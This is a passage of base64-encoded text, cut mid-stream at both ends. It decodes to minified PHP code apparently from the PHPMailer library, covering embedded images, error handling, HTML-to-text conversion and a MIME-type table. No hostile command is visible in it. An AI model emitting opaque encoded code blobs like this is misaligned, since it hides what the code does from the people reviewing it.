iR0eXBlLDU9PnRydWUsNj0+JGRpc3Bvc2l0aW9uLDc9PjAsXTt9Y2F0Y2goRXhjZXB0aW9uICRleGMpeyR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOyR0aGlzLT5lZGVidWcoJGV4Yy0+Z2V0TWVzc2FnZSgpKTtpZigkdGhpcy0+ZXhjZXB0aW9ucyl7dGhyb3cgJGV4Yzt9cmV0dXJuIGZhbHNlO31yZXR1cm4gdHJ1ZTt9cHVibGljIGZ1bmN0aW9uIGFkZEVtYmVkZGVkSW1hZ2UoJHBhdGgsJGNpZCwkbmFtZT0nJywkZW5jb2Rpbmc9c2VsZjo6RU5DT0RJTkdfQkFTRTY0LCR0eXBlPScnLCRkaXNwb3NpdGlvbj0naW5saW5lJyl7dHJ5e2lmKCFzdGF0aWM6OmlzUGVybWl0dGVkUGF0aCgkcGF0aCl8fCFAaXNfZmlsZSgkcGF0aCkpe3Rocm93IG5ldyBFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2ZpbGVfYWNjZXNzJykuJHBhdGgsc2VsZjo6U1RPUF9DT05USU5VRSk7fWlmKCcnPT0kdHlwZSl7JHR5cGU9c3RhdGljOjpmaWxlbmFtZVRvVHlwZSgkcGF0aCk7fWlmKCEkdGhpcy0+dmFsaWRhdGVFbmNvZGluZygkZW5jb2RpbmcpKXt0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdlbmNvZGluZycpLiRlbmNvZGluZyk7fSRmaWxlbmFtZT1zdGF0aWM6Om1iX3BhdGhpbmZvKCRwYXRoLFBBVEhJTkZPX0JBU0VOQU1FKTtpZignJz09JG5hbWUpeyRuYW1lPSRmaWxlbmFtZTt9JHRoaXMtPmF0dGFjaG1lbnRbXT1bMD0+JHBhdGgsMT0+JGZpbGVuYW1lLDI9PiRuYW1lLDM9PiRlbmNvZGluZyw0PT4kdHlwZSw1PT5mYWxzZSw2PT4kZGlzcG9zaXRpb24sNz0+JGNpZCxdO31jYXRjaChFeGNlcHRpb24gJGV4Yyl7JHRoaXMtPnNldEVycm9yKCRleGMtPmdldE1lc3NhZ2UoKSk7JHRoaXMtPmVkZWJ1ZygkZXhjLT5nZXRNZXNzYWdlKCkpO2lmKCR0aGlzLT5leGNlcHRpb25zKXt0aHJvdyAkZXhjO31yZXR1cm4gZmFsc2U7fXJldHVybiB0cnVlO31wdWJsaWMgZnVuY3Rpb24gYWRkU3RyaW5nRW1iZWRkZWRJbWFnZSgkc3RyaW5nLCRjaWQsJG5hbWU9JycsJGVuY29kaW5nPXNlbGY6OkVOQ09ESU5HX0JBU0U2NCwkdHlwZT0nJywkZGlzcG9zaXRpb249J2lubGluZScpe3RyeXtpZignJz09JHR5cGUgYW5kIWVtcHR5KCRuYW1lKSl7JHR5cGU9c3RhdGljOjpmaWxlbmFtZVRvVHlwZSgkbmFtZSk7fWlmKCEkdGhpcy0+dmFsaWRhdGVFbmNvZGluZygkZW5jb2RpbmcpKXt0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdlbmNvZGluZycpLiRlbmNvZGluZyk7fSR0aGlzLT5hdHRhY2htZW50W109WzA9PiRzdHJpbmcsMT0+JG5hbWUsMj0+JG5hbWUsMz0+JGVuY29kaW5nLDQ9PiR0eXBlLDU9PnRydWUsNj0+JGRpc3Bvc2l0aW9uLDc9PiRjaWQsXTt9Y2F0Y2goRXhjZXB0aW9uICRleGMpeyR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOyR0aGlzLT5lZGVidWcoJGV4Yy0+Z2V0TWVzc2FnZSgpKTtpZigkdGhpcy0+ZXhjZXB0aW9ucyl7dGhyb3cgJGV4Yzt9cmV0dXJuIGZhbHNlO31yZXR1cm4gdHJ1ZTt9cHJvdGVjdGVkIGZ1bmN0aW9uIHZhbGlkYXRlRW5jb2RpbmcoJGVuY29kaW5nKXtyZXR1cm4gaW5fYXJyYXkoJGVuY29kaW5nLFtzZWxmOjpFTkNPRElOR183QklULHNlbGY6OkVOQ09ESU5HX1FVT1RFRF9QUklOVEFCTEUsc2VsZjo6RU5DT0RJTkdfQkFTRTY0LHNlbGY6OkVOQ09ESU5HXzhCSVQsc2VsZjo6RU5DT0RJTkdfQklOQVJZLF0sdHJ1ZSk7fXByb3RlY3RlZCBmdW5jdGlvbiBjaWRFeGlzdHMoJGNpZCl7Zm9yZWFjaCgkdGhpcy0+YXR0YWNobWVudCBhcyAkYXR0YWNobWVudCl7aWYoJ2lubGluZSc9PSRhdHRhY2htZW50WzZdYW5kICRjaWQ9PSRhdHRhY2htZW50WzddKXtyZXR1cm4gdHJ1ZTt9fXJldHVybiBmYWxzZTt9cHVibGljIGZ1bmN0aW9uIGlubGluZUltYWdlRXhpc3RzKCl7Zm9yZWFjaCgkdGhpcy0+YXR0YWNobWVudCBhcyAkYXR0YWNobWVudCl7aWYoJ2lubGluZSc9PSRhdHRhY2htZW50WzZdKXtyZXR1cm4gdHJ1ZTt9fXJldHVybiBmYWxzZTt9cHVibGljIGZ1bmN0aW9uIGF0dGFjaG1lbnRFeGlzdHMoKXtmb3JlYWNoKCR0aGlzLT5hdHRhY2htZW50IGFzICRhdHRhY2htZW50KXtpZignYXR0YWNobWVudCc9PSRhdHRhY2htZW50WzZdKXtyZXR1cm4gdHJ1ZTt9fXJldHVybiBmYWxzZTt9cHVibGljIGZ1bmN0aW9uIGFsdGVybmF0aXZlRXhpc3RzKCl7cmV0dXJuIWVtcHR5KCR0aGlzLT5BbHRCb2R5KTt9cHVibGljIGZ1bmN0aW9uIGNsZWFyUXVldWVkQWRkcmVzc2VzKCRraW5kKXskdGhpcy0+UmVjaXBpZW50c1F1ZXVlPWFycmF5X2ZpbHRlcigkdGhpcy0+UmVjaXBpZW50c1F1ZXVlLGZ1bmN0aW9uKCRwYXJhbXMpdXNlKCRraW5kKXtyZXR1cm4gJHBhcmFtc1swXSE9JGtpbmQ7fSk7fXB1YmxpYyBmdW5jdGlvbiBjbGVhckFkZHJlc3Nlcygpe2ZvcmVhY2goJHRoaXMtPnRvIGFzICR0byl7dW5zZXQoJHRoaXMtPmFsbF9yZWNpcGllbnRzW3N0cnRvbG93ZXIoJHRvWzBdKV0pO30kdGhpcy0+dG89W107JHRoaXMtPmNsZWFyUXVldWVkQWRkcmVzc2VzKCd0bycpO31wdWJsaWMgZnVuY3Rpb24gY2xlYXJDQ3MoKXtmb3JlYWNoKCR0aGlzLT5jYyBhcyAkY2Mpe3Vuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRjY1swXSldKTt9JHRoaXMtPmNjPVtdOyR0aGlzLT5jbGVhclF1ZXVlZEFkZHJlc3NlcygnY2MnKTt9cHVibGljIGZ1bmN0aW9uIGNsZWFyQkNDcygpe2ZvcmVhY2goJHRoaXMtPmJjYyBhcyAkYmNjKXt1bnNldCgkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYmNjWzBdKV0pO30kdGhpcy0+YmNjPVtdOyR0aGlzLT5jbGVhclF1ZXVlZEFkZHJlc3NlcygnYmNjJyk7fXB1YmxpYyBmdW5jdGlvbiBjbGVhclJlcGx5VG9zKCl7JHRoaXMtPlJlcGx5VG89W107JHRoaXMtPlJlcGx5VG9RdWV1ZT1bXTt9cHVibGljIGZ1bmN0aW9uIGNsZWFyQWxsUmVjaXBpZW50cygpeyR0aGlzLT50bz1bXTskdGhpcy0+Y2M9W107JHRoaXMtPmJjYz1bXTskdGhpcy0+YWxsX3JlY2lwaWVudHM9W107JHRoaXMtPlJlY2lwaWVudHNRdWV1ZT1bXTt9cHVibGljIGZ1bmN0aW9uIGNsZWFyQXR0YWNobWVudHMoKXskdGhpcy0+YXR0YWNobWVudD1bXTt9cHVibGljIGZ1bmN0aW9uIGNsZWFyQ3VzdG9tSGVhZGVycygpeyR0aGlzLT5DdXN0b21IZWFkZXI9W107fXByb3RlY3RlZCBmdW5jdGlvbiBzZXRFcnJvcigkbXNnKXsrKyR0aGlzLT5lcnJvcl9jb3VudDtpZignc210cCc9PSR0aGlzLT5NYWlsZXIgYW5kIG51bGwhPT0kdGhpcy0+c210cCl7JGxhc3RlcnJvcj0kdGhpcy0+c210cC0+Z2V0RXJyb3IoKTtpZighZW1wdHkoJGxhc3RlcnJvclsnZXJyb3InXSkpeyRtc2cuPSR0aGlzLT5sYW5nKCdzbXRwX2Vycm9yJykuJGxhc3RlcnJvclsnZXJyb3InXTtpZighZW1wdHkoJGxhc3RlcnJvclsnZGV0YWlsJ10pKXskbXNnLj0nIERldGFpbDogJy4kbGFzdGVycm9yWydkZXRhaWwnXTt9aWYoIWVtcHR5KCRsYXN0ZXJyb3JbJ3NtdHBfY29kZSddKSl7JG1zZy49JyBTTVRQIGNvZGU6ICcuJGxhc3RlcnJvclsnc210cF9jb2RlJ107fWlmKCFlbXB0eSgkbGFzdGVycm9yWydzbXRwX2NvZGVfZXgnXSkpeyRtc2cuPScgQWRkaXRpb25hbCBTTVRQIGluZm86ICcuJGxhc3RlcnJvclsnc210cF9jb2RlX2V4J107fX19JHRoaXMtPkVycm9ySW5mbz0kbXNnO31wdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJmY0RhdGUoKXtkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KEBkYXRlX2RlZmF1bHRfdGltZXpvbmVfZ2V0KCkpO3JldHVybiBkYXRlKCdELCBqIE0gWSBIOmk6cyBPJyk7fXByb3RlY3RlZCBmdW5jdGlvbiBzZXJ2ZXJIb3N0bmFtZSgpeyRyZXN1bHQ9Jyc7aWYoIWVtcHR5KCR0aGlzLT5Ib3N0bmFtZSkpeyRyZXN1bHQ9JHRoaXMtPkhvc3RuYW1lO31lbHNlaWYoaXNzZXQoJF9TRVJWRVIpYW5kIGFycmF5X2tleV9leGlzdHMoJ1NFUlZFUl9OQU1FJywkX1NFUlZFUikpeyRyZXN1bHQ9JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107fWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2dldGhvc3RuYW1lJylhbmQgZ2V0aG9zdG5hbWUoKSE9PWZhbHNlKXskcmVzdWx0PWdldGhvc3RuYW1lKCk7fWVsc2VpZihwaHBfdW5hbWUoJ24nKSE9PWZhbHNlKXskcmVzdWx0PXBocF91bmFtZSgnbicpO31pZighc3RhdGljOjppc1ZhbGlkSG9zdCgkcmVzdWx0KSl7cmV0dXJuICdsb2NhbGhvc3QubG9jYWxkb21haW4nO31yZXR1cm4gJHJlc3VsdDt9cHVibGljIHN0YXRpYyBmdW5jdGlvbiBpc1ZhbGlkSG9zdCgkaG9zdCl7aWYoZW1wdHkoJGhvc3Qpb3IhaXNfc3RyaW5nKCRob3N0KW9yIHN0cmxlbigkaG9zdCk+MjU2KXtyZXR1cm4gZmFsc2U7fWlmKHRyaW0oJGhvc3QsJ1tdJykhPSRob3N0KXtyZXR1cm4gKGJvb2wpIGZpbHRlcl92YXIodHJpbSgkaG9zdCwnW10nKSxGSUxURVJfVkFMSURBVEVfSVAsRklMVEVSX0ZMQUdfSVBWNik7fWlmKGlzX251bWVyaWMoc3RyX3JlcGxhY2UoJy4nLCcnLCRob3N0KSkpe3JldHVybiAoYm9vbCkgZmlsdGVyX3ZhcigkaG9zdCxGSUxURVJfVkFMSURBVEVfSVAsRklMVEVSX0ZMQUdfSVBWNCk7fWlmKGZpbHRlcl92YXIoJ2h0dHA6Ly8nLiRob3N0LEZJTFRFUl9WQUxJREFURV9VUkwpKXtyZXR1cm4gdHJ1ZTt9cmV0dXJuIGZhbHNlO31wcm90ZWN0ZWQgZnVuY3Rpb24gbGFuZygka2V5KXtpZihjb3VudCgkdGhpcy0+bGFuZ3VhZ2UpPDEpeyR0aGlzLT5zZXRMYW5ndWFnZSgnZW4nKTt9aWYoYXJyYXlfa2V5X2V4aXN0cygka2V5LCR0aGlzLT5sYW5ndWFnZSkpe2lmKCdzbXRwX2Nvbm5lY3RfZmFpbGVkJz09JGtleSl7cmV0dXJuICR0aGlzLT5sYW5ndWFnZVska2V5XS4nIGh0dHBzOi8vZ2l0aHViLmNvbS9QSFBNYWlsZXIvUEhQTWFpbGVyL3dpa2kvVHJvdWJsZXNob290aW5nJzt9cmV0dXJuICR0aGlzLT5sYW5ndWFnZVska2V5XTt9cmV0dXJuICRrZXk7fXB1YmxpYyBmdW5jdGlvbiBpc0Vycm9yKCl7cmV0dXJuICR0aGlzLT5lcnJvcl9jb3VudD4wO31wdWJsaWMgZnVuY3Rpb24gYWRkQ3VzdG9tSGVhZGVyKCRuYW1lLCR2YWx1ZT1udWxsKXtpZihudWxsPT09JHZhbHVlKXskdGhpcy0+Q3VzdG9tSGVhZGVyW109ZXhwbG9kZSgnOicsJG5hbWUsMik7fWVsc2V7JHRoaXMtPkN1c3RvbUhlYWRlcltdPVskbmFtZSwkdmFsdWVdO319cHVibGljIGZ1bmN0aW9uIGdldEN1c3RvbUhlYWRlcnMoKXtyZXR1cm4gJHRoaXMtPkN1c3RvbUhlYWRlcjt9cHVibGljIGZ1bmN0aW9uIG1zZ0hUTUwoJG1lc3NhZ2UsJGJhc2VkaXI9JycsJGFkdmFuY2VkPWZhbHNlKXtwcmVnX21hdGNoX2FsbCgnLyhzcmN8YmFja2dyb3VuZCk9WyJcJ10oLiopWyJcJ10vVWknLCRtZXNzYWdlLCRpbWFnZXMpO2lmKGFycmF5X2tleV9leGlzdHMoMiwkaW1hZ2VzKSl7aWYoc3RybGVuKCRiYXNlZGlyKT4xJiYnLychPXN1YnN0cigkYmFzZWRpciwtMSkpeyRiYXNlZGlyLj0nLyc7fWZvcmVhY2goJGltYWdlc1syXWFzICRpbWdpbmRleD0+JHVybCl7aWYocHJlZ19tYXRjaCgnI15kYXRhOihpbWFnZS8oPzpqcGU/Z3xnaWZ8cG5nKSk7PyhiYXNlNjQpPywoLispIycsJHVybCwkbWF0Y2gpKXtpZihjb3VudCgkbWF0Y2gpPT00IGFuZCBzdGF0aWM6OkVOQ09ESU5HX0JBU0U2ND09JG1hdGNoWzJdKXskZGF0YT1iYXNlNjRfZGVjb2RlKCRtYXRjaFszXSk7fWVsc2VpZignJz09JG1hdGNoWzJdKXskZGF0YT1yYXd1cmxkZWNvZGUoJG1hdGNoWzNdKTt9ZWxzZXtjb250aW51ZTt9JGNpZD1oYXNoKCdzaGEyNTYnLCRkYXRhKS4nQHBocG1haWxlci4wJztpZighJHRoaXMtPmNpZEV4aXN0cygkY2lkKSl7JHRoaXMtPmFkZFN0cmluZ0VtYmVkZGVkSW1hZ2UoJGRhdGEsJGNpZCwnZW1iZWQnLiRpbWdpbmRleCxzdGF0aWM6OkVOQ09ESU5HX0JBU0U2NCwkbWF0Y2hbMV0pO30kbWVzc2FnZT1zdHJfcmVwbGFjZSgkaW1hZ2VzWzBdWyRpbWdpbmRleF0sJGltYWdlc1sxXVskaW1naW5kZXhdLic9ImNpZDonLiRjaWQuJyInLCRtZXNzYWdlKTtjb250aW51ZTt9aWYoIWVtcHR5KCRiYXNlZGlyKWFuZChzdHJwb3MoJHVybCwnLi4nKT09PWZhbHNlKWFuZCAwIT09c3RycG9zKCR1cmwsJ2NpZDonKWFuZCFwcmVnX21hdGNoKCcjXlthLXpdW2EtejAtOSsuLV0qOj8vLyNpJywkdXJsKSl7JGZpbGVuYW1lPXN0YXRpYzo6bWJfcGF0aGluZm8oJHVybCxQQVRISU5GT19CQVNFTkFNRSk7JGRpcmVjdG9yeT1kaXJuYW1lKCR1cmwpO2lmKCcuJz09JGRpcmVjdG9yeSl7JGRpcmVjdG9yeT0nJzt9JGNpZD1oYXNoKCdzaGEyNTYnLCR1cmwpLidAcGhwbWFpbGVyLjAnO2lmKHN0cmxlbigkYmFzZWRpcik+MSBhbmQgJy8nIT1zdWJzdHIoJGJhc2VkaXIsLTEpKXskYmFzZWRpci49Jy8nO31pZihzdHJsZW4oJGRpcmVjdG9yeSk+MSBhbmQgJy8nIT1zdWJzdHIoJGRpcmVjdG9yeSwtMSkpeyRkaXJlY3RvcnkuPScvJzt9aWYoJHRoaXMtPmFkZEVtYmVkZGVkSW1hZ2UoJGJhc2VkaXIuJGRpcmVjdG9yeS4kZmlsZW5hbWUsJGNpZCwkZmlsZW5hbWUsc3RhdGljOjpFTkNPRElOR19CQVNFNjQsc3RhdGljOjpfbWltZV90eXBlcygoc3RyaW5nKXN0YXRpYzo6bWJfcGF0aGluZm8oJGZpbGVuYW1lLFBBVEhJTkZPX0VYVEVOU0lPTikpKSl7JG1lc3NhZ2U9cHJlZ19yZXBsYWNlKCcvJy4kaW1hZ2VzWzFdWyRpbWdpbmRleF0uJz1bIlwnXScucHJlZ19xdW90ZSgkdXJsLCcvJykuJ1siXCddL1VpJywkaW1hZ2VzWzFdWyRpbWdpbmRleF0uJz0iY2lkOicuJGNpZC4nIicsJG1lc3NhZ2UpO319fX0kdGhpcy0+aXNIVE1MKHRydWUpOyR0aGlzLT5Cb2R5PXN0YXRpYzo6bm9ybWFsaXplQnJlYWtzKCRtZXNzYWdlKTskdGhpcy0+QWx0Qm9keT1zdGF0aWM6Om5vcm1hbGl6ZUJyZWFrcygkdGhpcy0+aHRtbDJ0ZXh0KCRtZXNzYWdlLCRhZHZhbmNlZCkpO2lmKCEkdGhpcy0+YWx0ZXJuYXRpdmVFeGlzdHMoKSl7JHRoaXMtPkFsdEJvZHk9J1RoaXMgaXMgYW4gSFRNTC1vbmx5IG1lc3NhZ2UuIFRvIHZpZXcgaXQsIGFjdGl2YXRlIEhUTUwgaW4geW91ciBlbWFpbCBhcHBsaWNhdGlvbi4nLnN0YXRpYzo6JExFO31yZXR1cm4gJHRoaXMtPkJvZHk7fXB1YmxpYyBmdW5jdGlvbiBodG1sMnRleHQoJGh0bWwsJGFkdmFuY2VkPWZhbHNlKXtpZihpc19jYWxsYWJsZSgkYWR2YW5jZWQpKXtyZXR1cm4gY2FsbF91c2VyX2Z1bmMoJGFkdmFuY2VkLCRodG1sKTt9cmV0dXJuIGh0bWxfZW50aXR5X2RlY29kZSh0cmltKHN0cmlwX3RhZ3MocHJlZ19yZXBsYWNlKCcvPChoZWFkfHRpdGxlfHN0eWxlfHNjcmlwdClbXj5dKj4uKj88XC9cXDE+L3NpJywnJywkaHRtbCkpKSxFTlRfUVVPVEVTLCR0aGlzLT5DaGFyU2V0KTt9cHVibGljIHN0YXRpYyBmdW5jdGlvbiBfbWltZV90eXBlcygkZXh0PScnKXskbWltZXM9Wyd4bCc9PidhcHBsaWNhdGlvbi9leGNlbCcsJ2pzJz0+J2FwcGxpY2F0aW9uL2phdmFzY3JpcHQnLCdocXgnPT4nYXBwbGljYXRpb24vbWFjLWJpbmhleDQwJywnY3B0Jz0+J2FwcGxpY2F0aW9uL21hYy1jb21wYWN0cHJvJywnYmluJz0+J2FwcGxpY2F0aW9uL21hY2JpbmFyeScsJ2RvYyc9PidhcHBsaWNhdGlvbi9tc3dvcmQnLCd3b3JkJz0+J2FwcGxpY2F0aW9uL21zd29yZCcsJ3hsc3gnPT4nYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnNwcmVhZHNoZWV0bWwuc2hlZXQnLCd4bHR4Jz0+J2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5zcHJlYWRzaGVldG1sLnRlbXBsYXRlJywncG90eCc9PidhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQucHJlc2VudGF0aW9ubWwudGVtcGxhdGUnLCdwcHN4Jz0+J2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5wcmVzZW50YXRpb25tbC5zbGlkZXNob3cnLCdwcHR4Jz0+J2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5wcmVzZW50YXRpb25tbC5wcmVzZW50YXRpb24nLCdzbGR4Jz0+J2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5wcmVzZW50YXRpb25tbC5zbGlkZScsJ2RvY3gnPT4nYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LndvcmRwcm9jZXNzaW5nbWwuZG9jdW1lbnQnLCdkb3R4Jz0+J2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC53b3JkcHJvY2Vzc2luZ21sLnRlbXBsYXRlJywneGxhbSc9PidhcHBsaWNhdGlvbi92bmQubXMtZXhjZWwuYWRkaW4ubWFjcm9FbmFibGVkLjEyJywneGxzYic9PidhcHBsaWNhdGlvbi92bmQubXMtZXhjZWwuc2hlZXQuYmluYXJ5Lm1hY3JvRW5hYmxlZC4xMicsJ2NsYXNzJz0+J2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScsJ2RsbCc9PidhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLCdkbXMnPT4nYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywnZXhlJz0+J2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScsJ2xoYSc9PidhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLCdsemgnPT4nYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywncHNkJz0+J2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScsJ3NlYSc9PidhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLCdzbyc9PidhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLCdvZGEnPT4nYXBwbGljYXRpb24vb2RhJywncGRmJz0+J2FwcGxpY2F0aW9uL3BkZicsJ2FpJz0+J2FwcGxpY2F0aW9uL3Bvc3RzY3JpcHQnLCdlcHMnPT4nYXBwbGljYXRpb24vcG9zdHNjcmlwdCcsJ3BzJz0+J2FwcGxpY2F0aW9uL3Bvc3RzY3JpcHQnLCdzbWknPT4nYXBwbGljYXRpb24vc21pbCcsJ3NtaWwnPT4nYXBwbGljYXRpb24vc21pbCcsJ21pZic9PidhcHBsaWNhdGlvbi92bmQubWlmJywneGxzJz0+J2FwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbCcsJ3BwdCc9PidhcHBsaWNhdGlvbi92bmQubXMtcG93ZXJwb2ludCcsJ3dieG1sJz0+J2FwcGxpY2F0aW9uL3ZuZC53YXAud2J4bWwnLCd3bWxjJz0+J2FwcGxpY2F0aW9uL3ZuZC53YXAud21sYycsJ2Rjcic9PidhcHBsaWNhdGlvbi94LWRpcmVjdG9yJywnZGlyJz0+J2FwcGxpY2F0aW9uL3gtZGlyZWN0b3InLCdkeHInPT4nYXBwbGljYXRpb24veC1kaXJlY3RvcicsJ2R2aSc9PidhcHBsaWNhdGlvbi94LWR2aScsJ2d0YXInPT4nYXBwbGljYXRpb24veC1ndGFyJywncGhwMyc9PidhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsJ3BocDQnPT4nYXBwbGljYXRpb24veC1odHRwZC1waHAnLCdwaHAnPT4nYXBwbGljYXRpb24veC1odHRwZC1waHAnLCdwaHRtbCc9PidhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsJ3BocHMnPT4nYXBwbGljYXRpb24veC1odHRwZC1waHAtc291cmNlJywnc3dmJz0+J2FwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoJywnc2l0Jz0+J2FwcGxpY2F0aW9uL3gtc3R1ZmZpdCcsJ3Rhcic9PidhcHBsaWNhdGlvbi94LXRhcicsJ3Rneic9PidhcHBsaWNhdGlvbi94LXRhcicsJ3hodCc9PidhcHBsaWNhdGlvbi94aHRtbCt4bWwnLCd4aHRtbCc9PidhcHBsaWNhdGlvbi94aHRtbCt4bWwnLCd6aXAnPT4nYXBwbGljYXRpb24vemlwJywnbWlkJz0+J2F1ZGlvL21pZGknLCdtaWRpJz0+J2F1ZGlvL21pZGknLCdtcDInPT4nYXVkaW8vbXBlZycsJ21wMyc9PidhdWRpby9tcGVnJywnbTRhJz0+J2F1ZGlvL21wNCcsJ21wZ2EnPT4nYXVkaW8vbXBlZycsJ2FpZic9PidhdWRpby94LWFpZmYnLCdhaWZjJz0+J2F1ZGlvL3gtYWlmZicsJ2FpZmYnPT4nYXVkaW8veC1haWZmJywncmFtJz0+J2F1ZGlvL3gtcG4tcmVhbGF1ZGlvJywncm0nPT4nYXVkaW8veC1wbi1yZWFsYXVkaW8nLCdycG0nPT4nYXVkaW8veC1wbi1yZWFsYXVkaW8tcGx1Z2luJywncmEnPT4nYXVkaW8veC1yZWFsYXVkaW8nLCd3YXYnPT4nYXVkaW8veC13YXYnLCdta2EnPT4nYXVkaW8veC1tYXRyb3NrYScsJ2JtcCc9PidpbWFnZS9ibXAnLCdnaWYnPT4naW1hZ2UvZ2lmJywnanBlZyc9PidpbWFnZS9qcGVnJywnanBlJz0+J2ltYWdlL2pwZWcnLCdqcGcnPT4naW1hZ2UvanBlZycsJ3BuZyc9PidpbWFnZS9wbmcnLCd0aWZmJz0+J2ltYWdlL3RpZmYnLCd0aWYnPT4naW1hZ2UvdGlmZicsJ3dlYnAnPT4naW1hZ2Uvd2VicCcsJ2hlaWYnPT4naW1hZ2UvaGVpZicsJ2hlaWZzJz0+J2ltYWdlL2hlaWYtc2VxdWVuY2UnLCdoZWljJz0+J2ltYWdlL2hlaWMnLCdoZWljcyc9PidpbWFnZS9oZWljLXNlcXVlbmNlJywnZW1sJz0+J21lc3NhZ2UvcmZjODIyJywnY3NzJz0+J3RleHQvY3NzJywnaHRtbCc9Pid0ZXh0L2h0bWwnLCdodG0nPT4ndGV4dC9odG1sJywnc2h0bWwnPT4ndGV4dC9odG1sJywnbG9nJz0+J3RleHQvcGxhaW4nLCd0ZXh0Jz0+J3RleHQvcGxhaW4nLCd0eHQnPT4ndGV4dC9wbGFpbicsJ3J0eCc9Pid0ZXh0L3JpY2h0ZXh0JywncnRmJz0+J3RleHQvcnRmJywndmNmJz0+J3RleHQvdmNhcmQnLCd2Y2FyZCc9Pid0ZXh0L3ZjYXJkJywnaWNzJz0+J3RleHQvY2FsZW5kYXInLCd4bWwnPT4ndGV4dC94bWwnLCd4c2wnPT4ndGV4dC94bWwnLCd3bXYnPT4ndmlkZW8veC1tcy13bXYnLCdtcGVnJz0+J3ZpZGVvL21wZWcnLCdtcGUnPT4ndmlkZW8vbXBlZycsJ21wZyc9Pid2aWRlby9tcGVnJywnbXA0Jz0+J3ZpZGVvL21wNCcsJ200dic9Pid2aWRlby9tcDQnLCdtb3YnPT4ndmlkZW8vcXVpY2t0aW1lJywncXQnPT4ndmlkZW8vcXVpY2t0aW1lJywncnYnPT4ndmlkZW8vdm5kLnJuLXJlYWx2aWRlbycsJ2F2aSc9Pid2aWRlby94LW1zdmlkZW8nLCdtb3ZpZSc9Pid2aWRlby94LXNnaS1tb3ZpZScsJ3dlYm0nPT4ndmlkZW8vd2VibScsJ21rdic9Pid2aWRlby94LW1hdHJvc2thJyxdOyRleHQ9c3RydG9sb3dlcigkZXh0KTtpZihhcnJheV9rZXlfZXhpc3RzKCRleHQsJG1pbWVzKSl7cmV0dXJuICRtaW1lc1skZXh0XTt9cmV0dXJuICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nO31wdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSl7JHFwb3M9c3RycG9zKCRmaWxlbmFtZSwnPycpO2lmKGZhbHNlIT09JHFwb3MpeyRmaWxlbmFtZT1zdWJzdHIoJGZpbGVuYW1lLDAsJHFwb3MpO30kZXh0PXN0YXRpYzo6bWJfcGF0aGluZm8oJGZpbGVuYW1lLFBBVEhJTkZPX0VYVEVOU0lPTik7cmV0dXJuIHN0YXRpYzo6X21pbWVfdHlwZXMoJGV4dCk7fXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gbWJfcGF0aGluZm8oJHBhdGgsJG9wdGlvbnM9bnVsbCl7JHJldD1bJ2Rpcm5hbWUnPT4nJywnYmFzZW5hbWUnPT4nJywnZXh0ZW5zaW9uJz0+JycsJ2ZpbGVuYW1lJz0+JyddOyRwYXRoaW5mbz1bXTtpZihwcmVnX21hdGNoKCcjXiguKj8pW1xcXFwvXSooKFteL1xcXFxdKj8pKFwuKFteLlxcXFwvXSs/KXwpKVtcXFxcLy5dKiQjbScsJHBhdGgsJHBhdGhpbmZvKSl7aWYoYXJyYXlfa2V5X2V4aXN0cygxLCRwYXRoaW5mbykpeyRyZXRbJ2Rpcm5hbWUnXT0kcGF0aGluZm9bMV07fWlmKGFycmF5X2tleV9leGlzdHMoMiwkcGF0aGluZm8pKXskcmV0WydiYXNlbmFtZSddPSRwYXRoaW5mb1syXTt9aWYoYXJyYXlfa2V5X2V4aXN0cyg1LCRwYXRoaW5mbykpeyRyZXRbJ2V4dGVuc2lvbiddPSRwYXRoaW5mb1s1XTt9aWYoYXJyYXlfa2V5X2V4aXN0cygzLCRwYXRoaW5mbykpeyRyZXRbJ2ZpbGVuYW1lJ109JHBhdGhpbmZvWzNdO319c3dpdGNoKCRvcHRpb25zKXtjYXNlIFBBVEhJTkZPX0RJUk5BTUU6Y2FzZSAnZGlybmFtZSc6cmV0dXJuICRyZXRbJ2Rpcm5hbWUnXTtjYXNlIFBBVEhJTkZPX0JBU0VOQU1FOmNhc2UgJ2Jhc2VuYW1lJzpyZXR1cm4gJHJld